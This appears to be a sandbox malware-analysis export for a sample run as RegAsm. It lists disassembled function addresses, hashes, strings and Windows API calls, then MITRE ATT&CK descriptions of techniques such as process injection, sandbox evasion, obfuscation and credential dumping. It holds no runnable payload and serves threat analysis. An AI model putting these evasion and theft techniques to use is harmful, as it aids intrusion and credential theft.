String ID: "$"
API String ID: 0-3758156766
Opcode ID: 81149805f9ffb991687ac78c070eab92e778eb04601efbd1b1da0dc64ff3345a
Instruction ID: 3ae5fbe5c68ef16c87e54f5f6f429b8d458329ce14d862d79f2054cab1a361f9
Opcode Fuzzy Hash: 81149805f9ffb991687ac78c070eab92e778eb04601efbd1b1da0dc64ff3345a
Instruction Fuzzy Hash: A90215B1B083214FC714CE29E49072BB7D5EBC4314F998A2EE4998B381D738EC45CB86

Function 00427124 Relevance: 2.8, Strings: 2, Instructions: 333COMMON

Download Yara Rule

Strings

fcWP, xrefs: 0042717B
JlRp, xrefs: 004272CD

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: JlRp$fcWP
API String ID: 0-1804931993
Opcode ID: 0959be8cb72fc4cbbbf9ec71e8f39e14554314cc0d85759b694218f0933b990a
Instruction ID: 64c87e5d74f804216d82703736cc226ade5864d30247e5888e43180b6cad2d3a
Opcode Fuzzy Hash: 0959be8cb72fc4cbbbf9ec71e8f39e14554314cc0d85759b694218f0933b990a
Instruction Fuzzy Hash: 44C1E270208B528BD339CF25C4A07B7BBE2AF52304F58896DC4EB4BB81D738A549DB55

Function 00425733 Relevance: 1.4, Strings: 1, Instructions: 194COMMON

Download Yara Rule

Strings

LQkc, xrefs: 004258BC

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: LQkc
API String ID: 0-3477798544
Opcode ID: 3d6506d52394ca5d795b6ff83037bd9cf5413c0b6087175a431358a0ddc44c00
Instruction ID: ed5eebbfc59a665a934a9d8f78321b36d8526b451edfe03179ec0d7784f9870a
Opcode Fuzzy Hash: 3d6506d52394ca5d795b6ff83037bd9cf5413c0b6087175a431358a0ddc44c00
Instruction Fuzzy Hash: 6D518070284B918BE725CF2AC0907A3BBE2AF53305F884C5DD0DB8B752C77AA465CB54

Function 004255C5 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

LQkc, xrefs: 004258BC

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: LQkc
API String ID: 0-3477798544
Opcode ID: f1bedc344215bd36918c9e29ba0f9d7a3930de250ce7fe89a400768a40b169d4
Instruction ID: 0bc0b53aea184d604499fb95c06f66ce5c37966f3c301d2a8d01b7cf4a7a4f55
Opcode Fuzzy Hash: f1bedc344215bd36918c9e29ba0f9d7a3930de250ce7fe89a400768a40b169d4
Instruction Fuzzy Hash: B1418E70284B918AE725CF26C0507A3BBF2AF57345F844C5DC0EB8B752C77AA465CB58

Function 00422DA7 Relevance: 1.3, Strings: 1, Instructions: 6COMMON

Download Yara Rule

Strings

P(B, xrefs: 00422DA7

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: P(B
API String ID: 0-1450342836
Opcode ID: fd6d308b6348860887212042cd3d1ca58e786c207045bdd3d811ba60c8c26591
Instruction ID: 5bce6a0dd5d3f0fb40adece630df30624db64ef035985f246ba2c5937c1b3808
Opcode Fuzzy Hash: fd6d308b6348860887212042cd3d1ca58e786c207045bdd3d811ba60c8c26591
Instruction Fuzzy Hash: 91900238D48100868104DF059640570E278521B101F513450A408F3065C250D400452C

Function 00434EB0 Relevance: .8, Instructions: 826COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e57d780260ac18970e14a5fc6d6272be9c34a445696ffe3f53ebfdac0ba55c8
Instruction ID: 3d33da45926c0e9cc844bc3bcc3e48b3af9c3427c9a5c5acd54eff4e178b070c
Opcode Fuzzy Hash: 2e57d780260ac18970e14a5fc6d6272be9c34a445696ffe3f53ebfdac0ba55c8
Instruction Fuzzy Hash: 2B52CF756087419FC314CF18C490A2BBBE2BFC9308F588A6EF8958B351D338E945CB96

Function 00408800 Relevance: .8, Instructions: 788COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc9a437b49e115cd635667e34cde58db4559eca69dfb07c3cde2bcfc8e1dd778
Instruction ID: a9fdf9cf3fa3962654b8b7464e87ea13fda947828765379e6e838e0b1fb6b07f
Opcode Fuzzy Hash: bc9a437b49e115cd635667e34cde58db4559eca69dfb07c3cde2bcfc8e1dd778
Instruction Fuzzy Hash: 5542C1716087158BC7249F18D9802BBB3E1FFD4314F18893EE9D6A72D1DB38A855CB4A

Function 00439DF0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2cf7d3f804cb55d6e5e06d4ceb3bb384490730145d3a712fd88394cd0d3542b2
Instruction ID: 6fe98310def07be5c00381fee3c9bbdf1943c736fd6b846009d489c5ddb8ceb4
Opcode Fuzzy Hash: 2cf7d3f804cb55d6e5e06d4ceb3bb384490730145d3a712fd88394cd0d3542b2
Instruction Fuzzy Hash: 74B1B2356083018BC714CF18C890A6BB7E2EF88714F19852DE9C59B391D779EC65CB96

Function 00439AA0 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e0012040d65948a108bf14725045c1568a53cd2860d99fc4219caa48a3abe01
Instruction ID: 39bdaa8439c10a4e910641662803248a466577d602ea33e0b9596c375b13f8d0
Opcode Fuzzy Hash: 6e0012040d65948a108bf14725045c1568a53cd2860d99fc4219caa48a3abe01
Instruction Fuzzy Hash: A4A1E0712083018BD724CF19C890A6BB7E2FFC9714F19991DE8858B391DB79EC15CB9A

Function 00425280 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0449d3adc0eaf61af13e208f0afadb759ba3554a0fb2ad294edb0b8940f0ac2a
Instruction ID: fb0a7245d665300c919b4253607ad04e15ddd4fe8f91a05bfd29f37c4225686b
Opcode Fuzzy Hash: 0449d3adc0eaf61af13e208f0afadb759ba3554a0fb2ad294edb0b8940f0ac2a
Instruction Fuzzy Hash: CDA1E720204B918BD728CF39D490777FBE2AF56314F64996ED4EB87791D3789884CB18

Function 00434B10 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f3d48089494569f8f97326bf2c91d9387d9f387e561bdbb3eb5b0a05516cb8b5
Instruction ID: 5980691c4d84af0f34b0ff8909df8928d9d6d51a42bacd4035761070d871b756
Opcode Fuzzy Hash: f3d48089494569f8f97326bf2c91d9387d9f387e561bdbb3eb5b0a05516cb8b5
Instruction Fuzzy Hash: 8751AD75A083009FD7148F19D99066BB7A2EBC9318F29DA1DE98957751C338EC01CB9A

Function 00415210 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34faf275a1ee80b45cc8cdff674e74a35c97fc326332738e460996be8d3c694
Instruction ID: b23ef3e7cb609402a53a1815a7dbf793ed4b2694693b6863292894053b6eda69
Opcode Fuzzy Hash: a34faf275a1ee80b45cc8cdff674e74a35c97fc326332738e460996be8d3c694
Instruction Fuzzy Hash: 38412772908708DBC3209F94C8807E7B7D4EFE6354F1945AEE89987381E7B99C84C75A

Function 0041061A Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ec720b70a672a5ea98d625a9e4edec6c3e85a6b969651b5cb560d4361f7673a
Instruction ID: d9828aa5310ceece87412d3b4a7a94b2005fe09d16d104d1fe1c8b6fefc5bbcd
Opcode Fuzzy Hash: 4ec720b70a672a5ea98d625a9e4edec6c3e85a6b969651b5cb560d4361f7673a
Instruction Fuzzy Hash: 4C4148747193808BE338DB14C4B97ABB7E2ABC6304F04092DD48A87782DB795645CB97

Function 00412C82 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18d620d09daf4918aa5bfe505f36110af0c52892b7ee356d370d3624b539a7c3
Instruction ID: ed223b5a29250035149b440bf2bb79c28596de7b7b1c3902a9b5a0599ad4eecd
Opcode Fuzzy Hash: 18d620d09daf4918aa5bfe505f36110af0c52892b7ee356d370d3624b539a7c3
Instruction Fuzzy Hash: B031D275A042418FC715CF18D9807AAB7E2FFC6310F19482ED949C7351EBB8D8A1CB9A

Function 00402E80 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab57d778617bd45d4f06f0136cce3116ff94a5a3c5c3884f8dd30683a5569b28
Instruction ID: 94a62e4594aae2b53e37b28ca4b37b5c86c8f0aa5a28874f4a14fb7340a6a359
Opcode Fuzzy Hash: ab57d778617bd45d4f06f0136cce3116ff94a5a3c5c3884f8dd30683a5569b28
Instruction Fuzzy Hash: A031D8306482019BC714DE59CD84A27B7E1EF84358F18893EE899AB3C1D279DC42CB8A

Function 0042692A Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d81edad819d82c198ba5920b72b5db4bcb029253810426cdc3612355a28de5c5
Instruction ID: 7d24f5686a8a4eff238214a85457577d496f5297d97cc04f8b114fdf5c80f867
Opcode Fuzzy Hash: d81edad819d82c198ba5920b72b5db4bcb029253810426cdc3612355a28de5c5
Instruction Fuzzy Hash: 05216FB52097414BC72DCF25D8A0676B7B3AFD6305B1D4A6EC0D747B46CB30A849C745

Function 00425609 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed32e5f2a62b7060479b028655890f3c79303ff3e19b3fdeee7ccb9d10421ce6
Instruction ID: 99d9a4bcf9c1dc50ba23eb117fc814751e91b2bfca2092ff74a1356565d5078c
Opcode Fuzzy Hash: ed32e5f2a62b7060479b028655890f3c79303ff3e19b3fdeee7ccb9d10421ce6
Instruction Fuzzy Hash: FA314F30685B408FD325CF25C590763BBE2AB86214F948C6EC4CBC7751CB39E8A5CB44

Function 00430F70 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 05b060fc40e3470515fb3f758981865aaea8f14a2547a57a8743ca145a6d755c
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: E7110C33A451D50EC3268D3C8410566BFA30A97234F1D539AF4B49B3D7D6278D8B8359

Function 00424400 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6af6580393b78d5d96977296d2cd94ca6d96ddde96d7098d80c65da5942e3da
Instruction ID: 7c4a01effdc45802a941adb50c3651b8e055a3ccbc04bd3648956cc1d6e9a21f
Opcode Fuzzy Hash: c6af6580393b78d5d96977296d2cd94ca6d96ddde96d7098d80c65da5942e3da
Instruction Fuzzy Hash: 9C015EB170031167DA20AE55B8C1B27B2A9ABC0708F58893EE80857342DB79EC15CA99

Function 00437B72 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 036274cc6bad5322a0b2cb60712c07fae28a6c9c0ed65221f4bec965b1a16ed4
Instruction ID: cb03fd620c9d2a89ca717a6e1c924654e11fb047365e41e8fe797e90bef8d4f3
Opcode Fuzzy Hash: 036274cc6bad5322a0b2cb60712c07fae28a6c9c0ed65221f4bec965b1a16ed4
Instruction Fuzzy Hash: 2E01E4B06083409FD704CF04C69065AFBF2EBCA714F04981CE09887341C338ED059B46

Function 0040DAF0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: ca3e30c0420363b71e18773d0b5647d179716b00185bff43fb4c94d114c79f40
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 66D0A771A487A10E9758CD7804A0977FBF8E987652B1814AFE5D1F3249D234EC05869C

Function 00410840 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7de7c6cfb91ca40dfee49151817ca1939ef1e1ac2fc68f73d5ab9f8eb4539d47
Instruction ID: 7e964af1710b7b3be3b82be8e830ff0366a923a1bad6dc6dc953a51d285ee133
Opcode Fuzzy Hash: 7de7c6cfb91ca40dfee49151817ca1939ef1e1ac2fc68f73d5ab9f8eb4539d47
Instruction Fuzzy Hash: 0EC08C21B8C28286C22CCB18E89153AB325B783120E24B23DC8D6236D2C920D406870E

Function 00410017 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e522b51ce3faff9662044a33f876a5e1f9dadc12972a87f7dc5b9e995e64b74
Instruction ID: 7401bd42308f1e9f540fbe1bffae50129ee85c37a5fc3ae99fb7311d01d7e970
Opcode Fuzzy Hash: 0e522b51ce3faff9662044a33f876a5e1f9dadc12972a87f7dc5b9e995e64b74
Instruction Fuzzy Hash: 0DC09239E58140878B0CCF74E861431A2BAEB07208B20703CD803E3653DA50D418850C

Function 00423BB3 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcc9eb93af5faa93068f8eefb55dca13fa532a381785cbc4f07dd9f6485f3d22
Instruction ID: 54cf39e25647fce98139212de785daab4d4bbf73a8b4bc55cddd79047df3ed60
Opcode Fuzzy Hash: dcc9eb93af5faa93068f8eefb55dca13fa532a381785cbc4f07dd9f6485f3d22
Instruction Fuzzy Hash: B6B092B9C80000B6D0193B223D4243EB0361593708F0428BEE80632243A62AD92A905F

Function 0042E93F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 178COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0042E9BF
GetSystemMetrics.USER32 ref: 0042E9D0
DeleteObject.GDI32 ref: 0042EA32
SelectObject.GDI32 ref: 0042EA80
SelectObject.GDI32 ref: 0042EB0E
DeleteObject.GDI32 ref: 0042EB45

Strings

, xrefs: 0042EAE1

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteMetricsSelectSystem
String ID:
API String ID: 3911056724-3916222277
Opcode ID: 17011f58a0a26a12f42b42e39653115aef2cd4661d8cdeaba3345943decb54d9
Instruction ID: 32394a4a3f955615b2b49dcd9db8dbe763f6152044793f2954be43e40043d511
Opcode Fuzzy Hash: 17011f58a0a26a12f42b42e39653115aef2cd4661d8cdeaba3345943decb54d9
Instruction Fuzzy Hash: 4F816EB4A04B00DFC354EF29D595A1ABBF0FF49300F10896DE99A8B760D731A858CF92

Function 00422F20 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 260COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 0042302D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 0042305D

Strings

}, xrefs: 00423156
7I9W, xrefs: 00423217
Ap, xrefs: 00423237
'U,S, xrefs: 0042321F

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 'U,S$7I9W$Ap$}
API String ID: 237503144-874940390
Opcode ID: 5c6c807312587b39dc68478217dc31459bde7a0373015bdccfaf56f1a1431bce
Instruction ID: 74968c51005c49a670a2893c934ecf1223601a79b231248841cbbf4a123ea6f3
Opcode Fuzzy Hash: 5c6c807312587b39dc68478217dc31459bde7a0373015bdccfaf56f1a1431bce
Instruction Fuzzy Hash: A0A159715083918FD338CF14D45079FB7E1BBC5708F114E2DE8A96B682D7749A0ACB86

Function 00411A41 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 346COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00411F12
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00411F48

Strings

T, xrefs: 00411D2B

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: T
API String ID: 237503144-3187964512
Opcode ID: 115282c8788a8f4fd62191cd53d175624d9b60189613b91eee571215d9066099
Instruction ID: 9994680c8a1aa8a56a0cef811662c2e5f7c303077db47d9a3e8b9743bc259ed4
Opcode Fuzzy Hash: 115282c8788a8f4fd62191cd53d175624d9b60189613b91eee571215d9066099
Instruction Fuzzy Hash: E0D138706193818FE374CF14C499B9BBBE1AFD6304F04492EE88987392D7799944CBA7

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
